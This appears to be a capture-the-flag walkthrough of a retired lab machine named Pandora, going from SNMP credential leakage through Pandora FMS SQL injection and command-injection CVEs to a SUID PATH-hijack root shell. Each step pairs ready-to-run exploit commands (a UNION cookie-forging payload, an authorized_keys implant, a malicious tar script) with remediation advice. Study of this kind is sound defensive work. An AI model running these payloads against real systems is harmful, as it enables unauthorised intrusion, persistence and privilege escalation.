← all walkthroughs

Pandora

Linux· Easy· Web
owned
2026-07-06
time to own
11m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

My scanning UDP discovered SNMP open on the target alongside the public HTTP and SSH services. Walking the SNMP process table with the default 'public' community string required no authentication and returned plaintext SSH credentials embedded in a running process's command-line arguments, granting an immediate low-privilege shell as the user daniel. From that foothold, a second HTTP service bound exclusively to localhost was discovered and exposed via SSH port-forwarding, revealing an internal Pandora FMS 7.0NG.742 console.

An unauthenticated SQL injection in the console's session-management code (CVE-2021-32099) forged a fully-privileged admin cookie without ever knowing the admin password. That admin session was handed to a separate authenticated command-injection flaw on the Events page (CVE-2020-5844), achieving code execution as the web-server user. I used that RCE to write an SSH public key into a second user's (matt) authorized_keys file, converting the one-shot injection channel into a persistent interactive shell.

Finally, a setuid-root backup binary invoked tar without an absolute path; placing a malicious tar script first in $PATH before running the binary produced a root shell and full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceSNMP process-argument credential harvest (CWE-312 / T1592)
Discovered SNMP and harvested SSH credentials from the process argument table
A UDP port scan revealed SNMP (161/udp) open alongside the public HTTP and SSH services. Walking the hrSWRunParameters OID (1.3.6.1.2.1.25.4.2.1.5) with the default 'public' community string dumped the command-line arguments of every running process. One entry contained the plaintext credential pair daniel:[REDACTED: recovered credential] as an argument — no brute-forcing, cracking, or prior access required.
Snmpwalk of OID 1.3.6.1.2.1.25.4.2.1.5 against $TARGET with community 'public' returned the string daniel:[REDACTED: recovered credential] embedded in a process command line.
Exact commands 2
UDP scan to confirm SNMP is reachable on port 161.
nmap -sU -p 161,162 --open -Pn -T4 $TARGET
Walk the hrSWRunParameters OID to dump all running process arguments; the credential pair daniel:[REDACTED: recovered credential] appears in plain text in one entry.
snmpwalk -v2c -c public -t 3 -r 1 $TARGET 1.3.6.1.2.1.25.4.2.1.5
FixRestrict SNMP to trusted management hosts and stop passing secrets as process argumentsCritical
WeaknessSNMP was reachable from any network source using the factory-default 'public' community string, and a process on the host embedded its credentials as command-line arguments. Any host that could reach UDP/161 could retrieve valid SSH credentials in a single unauthenticated UDP query — the process table is intentionally exposed by design in SNMP.
FixBlock UDP/161 and UDP/162 at the perimeter firewall for all sources except a dedicated, isolated management VLAN. Migrate to SNMPv3 with authPriv mode (authentication + encryption) and a randomly generated passphrase. Immediately refactor any service that currently passes passwords as command-line arguments: use a configuration file readable only by the service account (mode 0600, owned by that account) or a secrets manager such as HashiCorp Vault or AWS Secrets Manager. Command-line arguments are globally visible via /proc, ps, and any SNMP-capable tool.
2Initial AccessValid account — credential reuse (T1078)
Logged in over SSH as daniel with the leaked credential
The harvested credential authenticated directly over SSH without modification. The daniel account (uid=1001) held no sudo rights and belonged only to its own group and the 'pandora' group. A file-system check confirmed /home/matt/user.txt existed but was owned root:matt (mode 0640) and unreadable by daniel. Network enumeration with ss revealed MySQL bound to 127.0.0.1:3306 and a second HTTP service listening exclusively on 127.0.0.1:80 — a strong indicator of an internal web application never exposed to the public network.
Id returned uid=1001(daniel) gid=1001(daniel) groups=1001(daniel) pandora; ss showed LISTEN on 127.0.0.1:3306 and 127.0.0.1:80; /home/matt/user.txt confirmed as -rw-r----- root:matt.
Exact commands 1
Verify foothold, confirm sudo absence, and map localhost-only listeners.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null daniel@$TARGET 'id; hostname; ss -ltnp 2>/dev/null | grep -E "127.0.0.1:|:80|:3306"; find /home -name user.txt -maxdepth 3 -exec ls -l {} \; 2>/dev/null'
3DiscoverySSH local port-forwarding / internal service enumeration (T1572)
Tunnelled to the internal Pandora FMS console and confirmed the vulnerable version
An SSH local port-forward through daniel's session brought the localhost-only HTTP service to my port 9001. Browsing the tunnelled endpoint confirmed Pandora FMS version 7.0NG.742 — a network-monitoring platform with publicly documented critical CVEs in this version range. Application PHP source files were directly readable from daniel's shell, allowing rapid confirmation of the SQL injection entry point in chart_generator.php before launching the exploit.
Curl http://127.0.0.1:9001/pandora_console/ returned HTTP 200 with Pandora FMS version 7.0NG.742; source review of chart_generator.php confirmed the session_id parameter was passed unsanitised into SQL.
Exact commands 3
Forward my local port 9001 to the internal Pandora FMS service; -fN runs the tunnel in the background.
sshpass -p "$PASSWORD" ssh -fN -L 9001:127.0.0.1:80 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null daniel@$TARGET
Confirm the application identity and version string (7.0NG.742).
curl -s http://127.0.0.1:9001/pandora_console/ | grep -iE "version|pandora"
Read the PHP source via daniel's shell to confirm session_id is concatenated into SQL without parameterisation.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no daniel@$TARGET 'grep -n "session_id" /var/www/html/pandora_console/include/chart_generator.php | head -30'
FixPatch Pandora FMS to close the unauthenticated SQL injection (CVE-2021-32099)Critical
WeaknessPandora FMS 7.0NG.742 passes the session_id GET parameter from chart_generator.php directly into a SQL query by string concatenation. Anyone who can reach the endpoint can inject a UNION payload that writes a fake admin-session record into the database, forging a fully-privileged authenticated cookie with no password required.
FixUpgrade Pandora FMS to version 7.0NG.757 or later, which parameterises all session lookups. If an immediate upgrade cannot be scheduled, deny HTTP access to /pandora_console/include/chart_generator.php in the Apache configuration (Require all denied in a <Files> block) and restrict the Pandora FMS console to management-only IP addresses via a firewall rule or Apache Allow/Require directives — it should never be reachable from general user networks or the internet.
4ExploitationUnauthenticated SQL injection — authentication bypass (CVE-2021-32099)
Forged an admin session via unauthenticated SQL injection (CVE-2021-32099)
The chart_generator.php endpoint accepted a session_id GET parameter and concatenated it without sanitisation into an SQL query that looked up session records. A UNION-based payload injected a PHP-serialised admin-session record directly into the tsessions_php table, instructing the database to register my chosen cookie as a valid, fully authenticated admin session. Subsequent requests to Pandora FMS carrying that PHPSESSID cookie were accepted as the admin user — no admin password was ever needed.
Exact commands 1
Run the UNION payload via curl; the application writes the forged session to the DB and returns a Set-Cookie header containing the admin PHPSESSID. Capture that value for the next step.
payload="' UNION SELECT 'x',1672531200,'id_usuario|s:5:\"admin\";'-- -"; curl -sv -c /tmp/pandora_admin.cookie -b /tmp/pandora_admin.cookie --get --data-urlencode "session_id=${payload}" http://127.0.0.1:9001/pandora_console/include/chart_generator.php 2>&1 | grep -i 'set-cookie'
5ExploitationAuthenticated OS command injection — RCE (CVE-2020-5844 / Exploit-DB 50961)
Achieved remote code execution via authenticated command injection (CVE-2020-5844)
Pandora FMS 7.0NG.742 passes my own input from the Events page to an OS command without sanitisation. Using the forged admin session cookie obtained in the previous step, a crafted request to the Events endpoint injected arbitrary shell commands that executed as the Apache/PHP web-server user. This gave direct code execution on the system; the web process had sufficient privilege to read /home/matt/user.txt, confirming its effective permissions.
Python3 50961.py with the forged PHPSESSID returned id/whoami output confirming web-user execution and /home/matt/user.txt contents (<user.txt>).
Exact commands 1
Exploit-DB 50961 — replace <forged_PHPSESSID> with the cookie value captured in step 4; output confirms RCE as the web user and returns the user flag.
python3 50961.py -t 127.0.0.1 9001 -p <forged_PHPSESSID> -c 'id; whoami; cat /home/matt/user.txt'
FixPatch Pandora FMS to close the authenticated RCE and run the web service as a least-privilege account (CVE-2020-5844)Critical
WeaknessPandora FMS 7.0NG.742 passes externally controlled input from the Events page to OS commands without escaping, allowing any authenticated admin to execute arbitrary shell commands as the web-server user. In this environment the web process also had write access to a regular user's home directory, letting an unauthorised user permanently implant an SSH key and convert temporary RCE into persistent lateral access.
FixUpgrade Pandora FMS to version 7.0NG.750 or later, which sanitises the Events-page parameters. Run the Apache/PHP web server as a dedicated low-privilege service account (e.g., www-data) whose home directory is outside /home and that has no write permission on any user's home directory — enforce this via directory ownership and mode 0750 on each /home/<user>. Combine with a Web Application Firewall rule blocking shell metacharacters (;, |, $, backtick) in Events endpoint parameters as a layered defence while patching is scheduled.
6Lateral MovementSSH authorized_keys persistence / lateral movement (T1098.004)
Planted an SSH public key in matt's authorized_keys to gain a stable shell
The one-shot command injection was used to write an me-generated ed25519 public key into /home/matt/.ssh/authorized_keys. Because the Pandora FMS web process had write access to matt's home directory, this converted the unstable, single-command RCE channel into a persistent, fully interactive SSH session as matt — removing the need to re-exploit the CVE chain for every subsequent command and providing a reliable shell from which to enumerate privilege-escalation paths.
Ssh -i /tmp/pandora_matt_ed25519 matt@$TARGET succeeded immediately after key injection; id confirmed uid=1000(matt).
Exact commands 3
Generate a disposable ed25519 keypair for this engagement.
ssh-keygen -t ed25519 -N '' -f /tmp/pandora_matt_ed25519
Use the RCE to append my public key; replace the placeholder with the output of cat /tmp[REDACTED: sensitive value].pub from step 1.
python3 50961.py -t 127.0.0.1 9001 -p <forged_PHPSESSID> -c "mkdir -p /home/matt/.ssh && echo '<PASTE_CONTENTS_OF_pandora_matt_ed25519.pub_HERE>' >> /home/matt/.ssh/authorized_keys && chmod 600 /home/matt/.ssh/authorized_keys"
Confirm stable SSH access as matt and read the user flag (<user.txt>).
ssh -i /tmp/pandora_matt_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null matt@$TARGET 'id; cat /home/matt/user.txt'
7Privilege EscalationSUID binary PATH hijacking (T1574.007)
Hijacked the setuid-root pandora_backup binary via PATH manipulation to gain a root shell
Enumerating SUID binaries revealed /usr/bin/pandora_backup — a non-standard, root-owned utility with the setuid bit set, meaning it runs as root regardless of who invokes it. Running strings on the binary showed it calls tar by its bare filename without a full absolute path such as /bin/tar. By writing a two-line shell script also named tar in a temporary directory, making it executable, and prepending that directory to $PATH before invoking pandora_backup, the SUID binary ran the malicious tar as root. The script launched /bin/bash -p (preserve-privileges mode), dropping directly into an interactive root shell.
Strings /usr/bin/pandora_backup showed a bare 'tar' reference; PATH=$d:$PATH /usr/bin/pandora_backup returned uid=0(root) and produced the root flag (<root.txt>).
Exact commands 2
Confirm pandora_backup references tar without an absolute path (no leading slash).
ssh -i /tmp/pandora_matt_ed25519 -o StrictHostKeyChecking=no matt@$TARGET 'strings /usr/bin/pandora_backup | grep -E "tar|backup|PATH|/bin|sh"'
Drop a two-line malicious tar script, prepend its directory to PATH, and run the SUID binary — /bin/bash -p executes as root; run 'id; cat /root/root.txt' in the resulting shell.
ssh -i /tmp/pandora_matt_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null matt@$TARGET 'D=$(mktemp -d /tmp/pb.XXXXXX); printf "#!/bin/sh\n/bin/bash -p\n" > $D/tar; chmod +x $D/tar; PATH=$D:$PATH /usr/bin/pandora_backup'
FixRemove the setuid bit from pandora_backup or rewrite it to call tar by its absolute pathHigh
Weakness/usr/bin/pandora_backup is owned by root with the setuid bit set and internally calls tar using only its bare filename. The operating system resolves that name through the calling user's $PATH, so any local user can place a malicious script named tar earlier in their path and have it run as root simply by invoking the binary.
FixReplace every relative command invocation inside pandora_backup with its full absolute path (/bin/tar or /usr/bin/tar) and hard-reset $PATH to a known-safe value at the start of execution (PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin). If root-level execution is genuinely required, remove the setuid bit entirely and grant the specific operation through a locked-down sudoers rule (e.g., NOPASSWD: /bin/tar -czf /backup/* with exact argument matching) rather than a world-executable SUID binary. Audit all other non-standard SUID/SGID binaries with: find / -perm /4000 -not -path '/proc/*' -type f 2>/dev/null and apply the same fix pattern to any others that invoke commands by relative name.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
161/udp